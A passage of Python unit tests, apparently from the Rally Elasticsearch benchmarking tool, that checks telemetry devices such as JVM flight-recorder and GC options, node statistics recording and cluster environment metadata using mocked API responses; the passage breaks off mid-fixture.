cfg.add(config.Scope.application, "track", "params", {})
# concrete path does not matter
cfg.add(config.Scope.application, "node", "rally.root", "/some/root/path")
cfg.add(config.Scope.application, "reporting", "datastore.host", "localhost")
cfg.add(config.Scope.application, "reporting", "datastore.port", "0")
cfg.add(config.Scope.application, "reporting", "datastore.secure", False)
cfg.add(config.Scope.application, "reporting", "datastore.user", "")
cfg.add(config.Scope.application, "reporting", "datastore.password", "")
# only internal devices are active
cfg.add(config.Scope.application, "mechanic", "telemetry.devices", [])
return cfg
class MockTelemetryDevice(telemetry.InternalTelemetryDevice):
def __init__(self, mock_env):
super().__init__()
self.mock_env = mock_env
def instrument_env(self, car, candidate_id):
return self.mock_env
class TelemetryTests(TestCase):
def test_merges_options_set_by_different_devices(self):
cfg = config.Config()
cfg.add(config.Scope.application, "mechanic", "telemetry.devices", "jfr")
cfg.add(config.Scope.application, "system", "challenge.root.dir", "challenge-root")
cfg.add(config.Scope.application, "benchmarks", "metrics.log.dir", "telemetry")
devices = [
MockTelemetryDevice({"ES_JAVA_OPTS": "-Xms256M"}),
MockTelemetryDevice({"ES_JAVA_OPTS": "-Xmx512M"}),
MockTelemetryDevice({"ES_NET_HOST": "127.0.0.1"})
]
t = telemetry.Telemetry(enabled_devices=None, devices=devices)
default_car = team.Car(names="default-car", root_path=None, config_paths=["/tmp/rally-config"])
opts = t.instrument_candidate_env(default_car, "default-node")
self.assertTrue(opts)
self.assertEqual(len(opts), 2)
self.assertEqual("-Xms256M -Xmx512M", opts["ES_JAVA_OPTS"])
self.assertEqual("127.0.0.1", opts["ES_NET_HOST"])
class StartupTimeTests(TestCase):
@mock.patch("esrally.time.StopWatch")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
def test_store_calculated_metrics(self, metrics_store_put_value, stop_watch):
stop_watch.total_time.return_value = 2
metrics_store = metrics.EsMetricsStore(create_config())
node = cluster.Node(None, "io", "rally0", None)
startup_time = telemetry.StartupTime(metrics_store)
# replace with mock
startup_time.timer = stop_watch
startup_time.on_pre_node_start(node.node_name)
# ... nodes starts up ...
startup_time.attach_to_node(node)
metrics_store_put_value.assert_called_with("rally0", "node_startup_time", 2, "s")
class MergePartsDeviceTests(TestCase):
def setUp(self):
self.cfg = create_config()
self.cfg.add(config.Scope.application, "launcher", "candidate.log.dir", "/unittests/var/log/elasticsearch")
@mock.patch("esrally.metrics.EsMetricsStore.put_count_node_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
@mock.patch("builtins.open")
@mock.patch("os.listdir")
def test_store_nothing_if_no_metrics_present(self, listdir_mock, open_mock, metrics_store_put_value, metrics_store_put_count):
listdir_mock.return_value = [open_mock]
open_mock.side_effect = [
mock.mock_open(read_data="no data to parse").return_value
]
metrics_store = metrics.EsMetricsStore(self.cfg)
node = cluster.Node(None, "io", "rally0", None)
merge_parts_device = telemetry.MergeParts(self.cfg, metrics_store)
merge_parts_device.attach_to_node(node)
merge_parts_device.on_benchmark_stop()
self.assertEqual(0, metrics_store_put_value.call_count)
self.assertEqual(0, metrics_store_put_count.call_count)
@mock.patch("esrally.metrics.EsMetricsStore.put_count_node_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
@mock.patch("builtins.open")
@mock.patch("os.listdir")
def test_store_calculated_metrics(self, listdir_mock, open_mock, metrics_store_put_value, metrics_store_put_count):
log_file = '''
INFO: System starting up
INFO: 100 msec to merge doc values [500 docs]
INFO: Something unrelated
INFO: 250 msec to merge doc values [1350 docs]
INFO: System shutting down
'''
listdir_mock.return_value = [open_mock]
open_mock.side_effect = [
mock.mock_open(read_data=log_file).return_value
]
metrics_store = metrics.EsMetricsStore(self.cfg)
node = cluster.Node(None, "io", "rally0", None)
merge_parts_device = telemetry.MergeParts(metrics_store, node_log_dir="/var/log")
merge_parts_device.attach_to_node(node)
merge_parts_device.on_benchmark_stop()
metrics_store_put_value.assert_called_with("rally0", "merge_parts_total_time_doc_values", 350, "ms")
metrics_store_put_count.assert_called_with("rally0", "merge_parts_total_docs_doc_values", 1850)
class Client:
def __init__(self, nodes=None, info=None, indices=None):
self.nodes = nodes
self._info = info
self.indices = indices
def info(self):
return self._info
class SubClient:
def __init__(self, stats=None, info=None):
self._stats = stats
self._info = info
def stats(self, *args, **kwargs):
return self._stats
def info(self, *args, **kwargs):
return self._info
class JfrTests(TestCase):
def test_sets_options_for_pre_java_9_default_recording_template(self):
jfr = telemetry.FlightRecorder(telemetry_params={}, log_root="/var/log", java_major_version=random.randint(0, 8))
java_opts = jfr.java_opts("/var/log/test-recording.jfr")
self.assertEqual("-XX:+UnlockDiagnosticVMOptions -XX:+UnlockCommercialFeatures -XX:+DebugNonSafepoints -XX:+FlightRecorder "
"-XX:FlightRecorderOptions=disk=true,maxage=0s,maxsize=0,dumponexit=true,"
"dumponexitpath=/var/log/test-recording.jfr -XX:StartFlightRecording=defaultrecording=true", java_opts)
def test_sets_options_for_java_9_or_above_default_recording_template(self):
jfr = telemetry.FlightRecorder(telemetry_params={}, log_root="/var/log", java_major_version=random.randint(9, 999))
java_opts = jfr.java_opts("/var/log/test-recording.jfr")
self.assertEqual("-XX:+UnlockDiagnosticVMOptions -XX:+UnlockCommercialFeatures -XX:+DebugNonSafepoints "
"-XX:StartFlightRecording=maxsize=0,maxage=0s,disk=true,dumponexit=true,filename=/var/log/test-recording.jfr",
java_opts)
def test_sets_options_for_pre_java_9_custom_recording_template(self):
jfr = telemetry.FlightRecorder(telemetry_params={"recording-template": "profile"},
log_root="/var/log",
java_major_version=random.randint(0, 8))
java_opts = jfr.java_opts("/var/log/test-recording.jfr")
self.assertEqual("-XX:+UnlockDiagnosticVMOptions -XX:+UnlockCommercialFeatures -XX:+DebugNonSafepoints -XX:+FlightRecorder "
"-XX:FlightRecorderOptions=disk=true,maxage=0s,maxsize=0,dumponexit=true,"
"dumponexitpath=/var/log/test-recording.jfr -XX:StartFlightRecording=defaultrecording=true,settings=profile",
java_opts)
def test_sets_options_for_java_9_or_above_custom_recording_template(self):
jfr = telemetry.FlightRecorder(telemetry_params={"recording-template": "profile"},
log_root="/var/log",
java_major_version=random.randint(9, 999))
java_opts = jfr.java_opts("/var/log/test-recording.jfr")
self.assertEqual("-XX:+UnlockDiagnosticVMOptions -XX:+UnlockCommercialFeatures -XX:+DebugNonSafepoints "
"-XX:StartFlightRecording=maxsize=0,maxage=0s,disk=true,dumponexit=true,"
"filename=/var/log/test-recording.jfr,settings=profile",
java_opts)
class GcTests(TestCase):
def test_sets_options_for_pre_java_9(self):
gc = telemetry.Gc("/var/log", java_major_version=random.randint(0, 8))
env = gc.java_opts("/var/log/defaults-node-0.gc.log")
self.assertEqual(1, len(env))
self.assertEqual("-Xloggc:/var/log/defaults-node-0.gc.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCTimeStamps "
"-XX:+PrintGCApplicationStoppedTime -XX:+PrintGCApplicationConcurrentTime -XX:+PrintTenuringDistribution",
env["ES_JAVA_OPTS"])
def test_sets_options_for_java_9_or_above(self):
gc = telemetry.Gc("/var/log", java_major_version=random.randint(9, 999))
env = gc.java_opts("/var/log/defaults-node-0.gc.log")
self.assertEqual(1, len(env))
self.assertEqual(
"-Xlog:gc*=info,safepoint=info,age*=trace:file=/var/log/defaults-node-0.gc.log:utctime,uptimemillis,level,tags:filecount=0",
env["ES_JAVA_OPTS"])
class NodStatsRecorderTests(TestCase):
def test_negative_sample_interval_forbidden(self):
client = Client()
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
telemetry_params = {
"node-stats-sample-interval": -1 * random.random()
}
with self.assertRaisesRegex(exceptions.SystemSetupError,
"The telemetry parameter 'node-stats-sample-interval' must be greater than zero but was .*\."):
telemetry.NodeStatsRecorder(telemetry_params, client, metrics_store=metrics_store)
@mock.patch("esrally.metrics.EsMetricsStore.put_count_node_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
def test_stores_default_nodes_stats(self, metrics_store_put_value, metrics_store_put_count):
node_stats_response = {
"cluster_name" : "elasticsearch",
"nodes" : {
"Zbl_e8EyRXmiR47gbHgPfg" : {
"timestamp" : 1524379617017,
"name" : "rally0",
"transport_address" : "127.0.0.1:9300",
"host" : "127.0.0.1",
"ip" : "127.0.0.1:9300",
"roles" : [
"master",
"data",
"ingest"
],
"indices" : {
"docs" : {
"count" : 0,
"deleted" : 0
},
"store" : {
"size_in_bytes" : 0
},
"indexing" : {
"is_throttled" : False,
"throttle_time_in_millis" : 0
},
"search" : {
"open_contexts" : 0,
"query_total" : 0,
"query_time_in_millis" : 0
},
"merges" : {
"current" : 0,
"current_docs" : 0,
"current_size_in_bytes" : 0
},
"query_cache" : {
"memory_size_in_bytes" : 0,
"total_count" : 0,
"hit_count" : 0,
"miss_count" : 0,
"cache_size" : 0,
"cache_count" : 0,
"evictions" : 0
},
"completion" : {
"size_in_bytes" : 0
},
"segments" : {
"count" : 0,
"memory_in_bytes" : 0,
"max_unsafe_auto_id_timestamp" : -9223372036854775808,
"file_sizes" : { }
},
"translog" : {
"operations" : 0,
"size_in_bytes" : 0,
"uncommitted_operations" : 0,
"uncommitted_size_in_bytes" : 0
},
"request_cache" : {
"memory_size_in_bytes" : 0,
"evictions" : 0,
"hit_count" : 0,
"miss_count" : 0
},
"recovery" : {
"current_as_source" : 0,
"current_as_target" : 0,
"throttle_time_in_millis" : 0
}
},
"jvm" : {
"buffer_pools" : {
"mapped" : {
"count" : 7,
"used_in_bytes" : 3120,
"total_capacity_in_bytes" : 9999
},
"direct" : {
"count" : 6,
"used_in_bytes" : 73868,
"total_capacity_in_bytes" : 73867
}
},
"classes" : {
"current_loaded_count" : 9992,
"total_loaded_count" : 9992,
"total_unloaded_count" : 0
}
},
"thread_pool" : {
"generic" : {
"threads" : 4,
"queue" : 0,
"active" : 0,
"rejected" : 0,
"largest" : 4,
"completed" : 8
}
},
"breakers" : {
"parent" : {
"limit_size_in_bytes" : 726571417,
"limit_size" : "692.9mb",
"estimated_size_in_bytes" : 0,
"estimated_size" : "0b",
"overhead" : 1.0,
"tripped" : 0
}
}
}
}
}
client = Client(nodes=SubClient(stats=node_stats_response))
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
telemetry_params = {}
recorder = telemetry.NodeStatsRecorder(telemetry_params, client, metrics_store=metrics_store)
recorder.record()
metrics_store_put_count.assert_has_calls([
mock.call(node_name="rally0", name="thread_pool_generic_threads", count=4),
mock.call(node_name="rally0", name="thread_pool_generic_queue", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_active", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_rejected", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_largest", count=4),
mock.call(node_name="rally0", name="thread_pool_generic_completed", count=8),
mock.call(node_name="rally0", name="breaker_parent_overhead", count=1.0),
mock.call(node_name="rally0", name="breaker_parent_tripped", count=0),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_count", count=7),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_count", count=6),
], any_order=True)
metrics_store_put_value.assert_has_calls([
mock.call(node_name="rally0", name="breaker_parent_limit_size_in_bytes", value=726571417, unit="byte"),
mock.call(node_name="rally0", name="breaker_parent_estimated_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_used_in_bytes", value=3120, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_total_capacity_in_bytes", value=9999, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_used_in_bytes", value=73868, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_total_capacity_in_bytes", value=73867, unit="byte"),
], any_order=True)
@mock.patch("esrally.metrics.EsMetricsStore.put_count_node_level")
@mock.patch("esrally.metrics.EsMetricsStore.put_value_node_level")
def test_stores_all_nodes_stats(self, metrics_store_put_value, metrics_store_put_count):
node_stats_response = {
"cluster_name" : "elasticsearch",
"nodes" : {
"Zbl_e8EyRXmiR47gbHgPfg" : {
"timestamp" : 1524379617017,
"name" : "rally0",
"transport_address" : "127.0.0.1:9300",
"host" : "127.0.0.1",
"ip" : "127.0.0.1:9300",
"roles" : [
"master",
"data",
"ingest"
],
"indices": {
"docs": {
"count": 76892364,
"deleted": 324530
},
"store" : {
"size_in_bytes": 983409834
},
"indexing" : {
"is_throttled" : False,
"throttle_time_in_millis" : 0
},
"search" : {
"open_contexts" : 0,
"query_total" : 0,
"query_time_in_millis" : 0
},
"merges" : {
"current" : 0,
"current_docs" : 0,
"current_size_in_bytes" : 0
},
"query_cache" : {
"memory_size_in_bytes" : 0,
"total_count" : 0,
"hit_count" : 0,
"miss_count" : 0,
"cache_size" : 0,
"cache_count" : 0,
"evictions" : 0
},
"fielddata": {
"memory_size_in_bytes": 6936,
"evictions": 17
},
"completion" : {
"size_in_bytes" : 0
},
"segments" : {
"count" : 0,
"memory_in_bytes" : 0,
"max_unsafe_auto_id_timestamp" : -9223372036854775808,
"file_sizes" : { }
},
"translog" : {
"operations" : 0,
"size_in_bytes" : 0,
"uncommitted_operations" : 0,
"uncommitted_size_in_bytes" : 0
},
"request_cache" : {
"memory_size_in_bytes" : 0,
"evictions" : 0,
"hit_count" : 0,
"miss_count" : 0
},
"recovery" : {
"current_as_source" : 0,
"current_as_target" : 0,
"throttle_time_in_millis" : 0
}
},
"jvm" : {
"buffer_pools" : {
"mapped" : {
"count" : 7,
"used_in_bytes" : 3120,
"total_capacity_in_bytes" : 9999
},
"direct" : {
"count" : 6,
"used_in_bytes" : 73868,
"total_capacity_in_bytes" : 73867
}
},
"classes" : {
"current_loaded_count" : 9992,
"total_loaded_count" : 9992,
"total_unloaded_count" : 0
}
},
"thread_pool" : {
"generic" : {
"threads" : 4,
"queue" : 0,
"active" : 0,
"rejected" : 0,
"largest" : 4,
"completed" : 8
}
},
"transport": {
"server_open": 12,
"rx_count": 77,
"rx_size_in_bytes": 98723498,
"tx_count": 88,
"tx_size_in_bytes": 23879803
},
"breakers" : {
"parent" : {
"limit_size_in_bytes" : 726571417,
"limit_size" : "692.9mb",
"estimated_size_in_bytes" : 0,
"estimated_size" : "0b",
"overhead" : 1.0,
"tripped" : 0
}
}
}
}
}
client = Client(nodes=SubClient(stats=node_stats_response))
cfg = create_config()
metrics_store = metrics.EsMetricsStore(cfg)
telemetry_params = {
"node-stats-include-indices": True
}
recorder = telemetry.NodeStatsRecorder(telemetry_params, client, metrics_store=metrics_store)
recorder.record()
metrics_store_put_count.assert_has_calls([
mock.call(node_name="rally0", name="indices_docs_count", count=76892364),
mock.call(node_name="rally0", name="indices_docs_deleted", count=324530),
mock.call(node_name="rally0", name="indices_search_open_contexts", count=0),
mock.call(node_name="rally0", name="indices_search_query_total", count=0),
mock.call(node_name="rally0", name="indices_merges_current", count=0),
mock.call(node_name="rally0", name="indices_merges_current_docs", count=0),
mock.call(node_name="rally0", name="indices_query_cache_total_count", count=0),
mock.call(node_name="rally0", name="indices_query_cache_hit_count", count=0),
mock.call(node_name="rally0", name="indices_query_cache_miss_count", count=0),
mock.call(node_name="rally0", name="indices_query_cache_cache_size", count=0),
mock.call(node_name="rally0", name="indices_query_cache_cache_count", count=0),
mock.call(node_name="rally0", name="indices_query_cache_evictions", count=0),
mock.call(node_name="rally0", name="indices_fielddata_evictions", count=17),
mock.call(node_name="rally0", name="indices_segments_count", count=0),
mock.call(node_name="rally0", name="indices_segments_max_unsafe_auto_id_timestamp", count=-9223372036854775808),
mock.call(node_name="rally0", name="indices_translog_operations", count=0),
mock.call(node_name="rally0", name="indices_translog_uncommitted_operations", count=0),
mock.call(node_name="rally0", name="indices_request_cache_evictions", count=0),
mock.call(node_name="rally0", name="indices_request_cache_hit_count", count=0),
mock.call(node_name="rally0", name="indices_request_cache_miss_count", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_threads", count=4),
mock.call(node_name="rally0", name="thread_pool_generic_queue", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_active", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_rejected", count=0),
mock.call(node_name="rally0", name="thread_pool_generic_largest", count=4),
mock.call(node_name="rally0", name="thread_pool_generic_completed", count=8),
mock.call(node_name="rally0", name="transport_server_open", count=12),
mock.call(node_name="rally0", name="transport_rx_count", count=77),
mock.call(node_name="rally0", name="transport_tx_count", count=88),
mock.call(node_name="rally0", name="breaker_parent_overhead", count=1.0),
mock.call(node_name="rally0", name="breaker_parent_tripped", count=0),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_count", count=7),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_count", count=6),
], any_order=True)
metrics_store_put_value.assert_has_calls([
mock.call(node_name="rally0", name="indices_store_size_in_bytes", value=983409834, unit="byte"),
mock.call(node_name="rally0", name="indices_indexing_throttle_time_in_millis", value=0, unit="ms"),
mock.call(node_name="rally0", name="indices_search_query_time_in_millis", value=0, unit="ms"),
mock.call(node_name="rally0", name="indices_merges_current_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="indices_query_cache_memory_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="indices_fielddata_memory_size_in_bytes", value=6936, unit="byte"),
mock.call(node_name="rally0", name="indices_segments_memory_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="indices_translog_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="indices_translog_uncommitted_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="indices_request_cache_memory_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="transport_rx_size_in_bytes", value=98723498, unit="byte"),
mock.call(node_name="rally0", name="transport_tx_size_in_bytes", value=23879803, unit="byte"),
mock.call(node_name="rally0", name="breaker_parent_limit_size_in_bytes", value=726571417, unit="byte"),
mock.call(node_name="rally0", name="breaker_parent_estimated_size_in_bytes", value=0, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_used_in_bytes", value=3120, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_mapped_total_capacity_in_bytes", value=9999, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_used_in_bytes", value=73868, unit="byte"),
mock.call(node_name="rally0", name="jvm_buffer_pool_direct_total_capacity_in_bytes", value=73867, unit="byte"),
], any_order=True)
class ClusterEnvironmentInfoTests(TestCase):
@mock.patch("esrally.metrics.EsMetricsStore.add_meta_info")
def test_stores_cluster_level_metrics_on_attach(self, metrics_store_add_meta_info):
nodes_info = {"nodes": collections.OrderedDict()}
nodes_info["nodes"]["FCFjozkeTiOpN-SI88YEcg"] = {
"name": "rally0",
"host": "127.0.0.1",
"attributes": {
"group": "cold_nodes"
},
"os": {
"name": "Mac OS X",
"version": "10.11.4",
"available_processors": 8
},
"jvm": {
"version": "1.8.0_74",
"vm_vendor": "Oracle Corporation"
},
"plugins": [
{
"name": "ingest-geoip",
"version": "5.0.0",
"description": "Ingest processor that uses looksup geo data ...",
"classname": "org.elasticsearch.ingest.geoip.IngestGeoIpPlugin",
"has_native_controller": False
}
]
}
nodes_info["nodes"]["EEEjozkeTiOpN-SI88YEcg"] = {
"name": "rally1",
"host": "127.0.0.1",
"attributes": {
"group": "hot_nodes"
},
"os": {
"name": "Mac OS X",
"version": "10.11.5",
"available_processors": 8
},
"jvm": {
"version": "1.8.0_102",
"vm_vendor": "Oracle Corporation"
},
"plugins": [
{
"name": "ingest-geoip",
"version": "5.0.0",
"description": "Ingest processor that uses looksup geo data ...",
"classname": "org.elasticsearch.ingest.geoip.IngestGeoIpPlugin",
"has_native_controller": False
}
]
}
cluster_info = {
"version":
{
"build_hash": "abc123",
"number": "6.0.0-alpha1"
}
}
cfg = create_config()
client = Client(nodes=SubClient(info=nodes_info), info=cluster_info)
metrics_store = metrics.EsMetricsStore(cfg)
env_device = telemetry.ClusterEnvironmentInfo(client, metrics_store)
t = telemetry.Telemetry(cfg, devices=[env_device])
t.attach_to_cluster(cluster.Cluster([], [], t))
calls = [
mock.call(metrics.MetaInfoScope.cluster, None, "source_revision", "abc123"),
mock.call(metrics.MetaInfoScope.cluster, None, "distribution_version", "6.0.0-alpha1"),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_vendor", "Oracle Corporation"),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_version", "1.8.0_74"),
mock.call(metrics.MetaInfoScope.node, "rally1", "jvm_vendor", "Oracle Corporation"),
mock.call(metrics.MetaInfoScope.node, "rally1", "jvm_version", "1.8.0_102"),
mock.call(metrics.MetaInfoScope.node, "rally0", "plugins", ["ingest-geoip"]),
mock.call(metrics.MetaInfoScope.node, "rally1", "plugins", ["ingest-geoip"]),
# can push up to cluster level as all nodes have the same plugins installed
mock.call(metrics.MetaInfoScope.cluster, None, "plugins", ["ingest-geoip"]),
mock.call(metrics.MetaInfoScope.node, "rally0", "attribute_group", "cold_nodes"),
mock.call(metrics.MetaInfoScope.node, "rally1", "attribute_group", "hot_nodes"),
]
metrics_store_add_meta_info.assert_has_calls(calls)
class NodeEnvironmentInfoTests(TestCase):
@mock.patch("esrally.metrics.EsMetricsStore.add_meta_info")
@mock.patch("esrally.utils.sysstats.os_name")
@mock.patch("esrally.utils.sysstats.os_version")
@mock.patch("esrally.utils.sysstats.logical_cpu_cores")
@mock.patch("esrally.utils.sysstats.physical_cpu_cores")
@mock.patch("esrally.utils.sysstats.cpu_model")
def test_stores_node_level_metrics_on_attach(self, cpu_model, physical_cpu_cores, logical_cpu_cores,
os_version, os_name, metrics_store_add_meta_info):
cpu_model.return_value = "Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz"
physical_cpu_cores.return_value = 4
logical_cpu_cores.return_value = 8
os_version.return_value = "4.2.0-18-generic"
os_name.return_value = "Linux"
metrics_store = metrics.EsMetricsStore(create_config())
node = cluster.Node(None, "io", "rally0", None)
env_device = telemetry.NodeEnvironmentInfo(metrics_store)
env_device.attach_to_node(node)
calls = [
mock.call(metrics.MetaInfoScope.node, "rally0", "os_name", "Linux"),
mock.call(metrics.MetaInfoScope.node, "rally0", "os_version", "4.2.0-18-generic"),
mock.call(metrics.MetaInfoScope.node, "rally0", "cpu_logical_cores", 8),
mock.call(metrics.MetaInfoScope.node, "rally0", "cpu_physical_cores", 4),
mock.call(metrics.MetaInfoScope.node, "rally0", "cpu_model", "Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz"),
mock.call(metrics.MetaInfoScope.node, "rally0", "node_name", "rally0"),
mock.call(metrics.MetaInfoScope.node, "rally0", "host_name", "io"),
]
metrics_store_add_meta_info.assert_has_calls(calls)
class ExternalEnvironmentInfoTests(TestCase):
def setUp(self):
self.cfg = create_config()
@mock.patch("esrally.metrics.EsMetricsStore.add_meta_info")
def test_stores_all_node_metrics_on_attach(self, metrics_store_add_meta_info):
nodes_stats = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1"
}
}
}
nodes_info = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"attributes": {
"az": "us_east1"
},
"os": {
"name": "Mac OS X",
"version": "10.11.4",
"available_processors": 8
},
"jvm": {
"version": "1.8.0_74",
"vm_vendor": "Oracle Corporation"
},
"plugins": [
{
"name": "ingest-geoip",
"version": "5.0.0",
"description": "Ingest processor that uses looksup geo data ...",
"classname": "org.elasticsearch.ingest.geoip.IngestGeoIpPlugin",
"has_native_controller": False
}
]
}
}
}
cluster_info = {
"version":
{
"build_hash": "253032b",
"number": "5.0.0"
}
}
client = Client(nodes=SubClient(stats=nodes_stats, info=nodes_info), info=cluster_info)
metrics_store = metrics.EsMetricsStore(self.cfg)
env_device = telemetry.ExternalEnvironmentInfo(client, metrics_store)
t = telemetry.Telemetry(devices=[env_device])
t.attach_to_cluster(cluster.Cluster([], [], t))
calls = [
mock.call(metrics.MetaInfoScope.node, "rally0", "node_name", "rally0"),
mock.call(metrics.MetaInfoScope.node, "rally0", "host_name", "127.0.0.1"),
mock.call(metrics.MetaInfoScope.node, "rally0", "os_name", "Mac OS X"),
mock.call(metrics.MetaInfoScope.node, "rally0", "os_version", "10.11.4"),
mock.call(metrics.MetaInfoScope.node, "rally0", "cpu_logical_cores", 8),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_vendor", "Oracle Corporation"),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_version", "1.8.0_74"),
mock.call(metrics.MetaInfoScope.node, "rally0", "plugins", ["ingest-geoip"]),
# these are automatically pushed up to cluster level (additionally) if all nodes match
mock.call(metrics.MetaInfoScope.cluster, None, "plugins", ["ingest-geoip"]),
mock.call(metrics.MetaInfoScope.node, "rally0", "attribute_az", "us_east1"),
mock.call(metrics.MetaInfoScope.cluster, None, "attribute_az", "us_east1"),
]
metrics_store_add_meta_info.assert_has_calls(calls)
@mock.patch("esrally.metrics.EsMetricsStore.add_meta_info")
def test_fallback_when_host_not_available(self, metrics_store_add_meta_info):
nodes_stats = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
}
}
}
nodes_info = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"os": {
"name": "Mac OS X",
"version": "10.11.4",
"available_processors": 8
},
"jvm": {
"version": "1.8.0_74",
"vm_vendor": "Oracle Corporation"
}
}
}
}
cluster_info = {
"version":
{
"build_hash": "253032b",
"number": "5.0.0"
}
}
client = Client(nodes=SubClient(stats=nodes_stats, info=nodes_info), info=cluster_info)
metrics_store = metrics.EsMetricsStore(self.cfg)
env_device = telemetry.ExternalEnvironmentInfo(client, metrics_store)
t = telemetry.Telemetry(self.cfg, devices=[env_device])
t.attach_to_cluster(cluster.Cluster([], [], t))
calls = [
mock.call(metrics.MetaInfoScope.node, "rally0", "node_name", "rally0"),
mock.call(metrics.MetaInfoScope.node, "rally0", "host_name", "unknown"),
mock.call(metrics.MetaInfoScope.node, "rally0", "os_name", "Mac OS X"),
mock.call(metrics.MetaInfoScope.node, "rally0", "os_version", "10.11.4"),
mock.call(metrics.MetaInfoScope.node, "rally0", "cpu_logical_cores", 8),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_vendor", "Oracle Corporation"),
mock.call(metrics.MetaInfoScope.node, "rally0", "jvm_version", "1.8.0_74")
]
metrics_store_add_meta_info.assert_has_calls(calls)
class ClusterMetaDataInfoTests(TestCase):
def setUp(self):
self.cfg = create_config()
def test_enriches_cluster_nodes_for_elasticsearch_after_1_x(self):
nodes_stats = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"os": {
"mem": {
"total_in_bytes": 17179869184
}
},
"fs": {
"data": [
{
"mount": "/usr/local/var/elasticsearch/data1",
"type": "hfs"
},
{
"mount": "/usr/local/var/elasticsearch/data2",
"type": "ntfs"
}
]
}
}
}
}
nodes_info = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"ip": "127.0.0.1",
"os": {
"name": "Mac OS X",
"version": "10.11.4",
"available_processors": 8,
"allocated_processors": 4
},
"jvm": {
"version": "1.8.0_74",
"vm_vendor": "Oracle Corporation"
},
"plugins": [
{
"name": "analysis-icu",
"version": "5.0.0",
"description": "The ICU Analysis plugin integrates Lucene ICU module ...",
"classname": "org.elasticsearch.plugin.analysis.icu.AnalysisICUPlugin",
"has_native_controller": False
},
{
"name": "ingest-geoip",
"version": "5.0.0",
"description": "Ingest processor that uses looksup geo data ...",
"classname": "org.elasticsearch.ingest.geoip.IngestGeoIpPlugin",
"has_native_controller": False
},
{
"name": "ingest-user-agent",
"version": "5.0.0",
"description": "Ingest processor that extracts information from a user agent",
"classname": "org.elasticsearch.ingest.useragent.IngestUserAgentPlugin",
"has_native_controller": False
}
]
}
}
}
cluster_info = {
"version":
{
"build_hash": "253032b",
"number": "5.0.0"
}
}
client = Client(nodes=SubClient(stats=nodes_stats, info=nodes_info), info=cluster_info)
t = telemetry.Telemetry(devices=[telemetry.ClusterMetaDataInfo(client)])
c = cluster.Cluster(hosts=[{"host": "localhost", "port": 39200}],
nodes=[cluster.Node(process=None, host_name="local", node_name="rally0", telemetry=None)],
telemetry=t)
t.attach_to_cluster(c)
self.assertEqual("5.0.0", c.distribution_version)
self.assertEqual("253032b", c.source_revision)
self.assertEqual(1, len(c.nodes))
n = c.nodes[0]
self.assertEqual("127.0.0.1", n.ip)
self.assertEqual("Mac OS X", n.os["name"])
self.assertEqual("10.11.4", n.os["version"])
self.assertEqual("Oracle Corporation", n.jvm["vendor"])
self.assertEqual("1.8.0_74", n.jvm["version"])
self.assertEqual(8, n.cpu["available_processors"])
self.assertEqual(4, n.cpu["allocated_processors"])
self.assertEqual(17179869184, n.memory["total_bytes"])
self.assertEqual(2, len(n.fs))
self.assertEqual("/usr/local/var/elasticsearch/data1", n.fs[0]["mount"])
self.assertEqual("hfs", n.fs[0]["type"])
self.assertEqual("unknown", n.fs[0]["spins"])
self.assertEqual("/usr/local/var/elasticsearch/data2", n.fs[1]["mount"])
self.assertEqual("ntfs", n.fs[1]["type"])
self.assertEqual("unknown", n.fs[1]["spins"])
self.assertEqual(["analysis-icu", "ingest-geoip", "ingest-user-agent"], n.plugins)
def test_enriches_cluster_nodes_for_elasticsearch_1_x(self):
nodes_stats = {
"nodes": {
"FCFjozkeTiOpN-SI88YEcg": {
"name": "rally0",
"host": "127.0.0.1",
"fs": {
"data": [
{
"mount": "/usr/local/var/elasticsearch/data1",
"type": "hfs"
},
{
"mount": "/usr/local/var/elasticsearch/data2",
"type": "ntfs"
}
]
}
}
}
}
nodes_info = {
"nodes": {
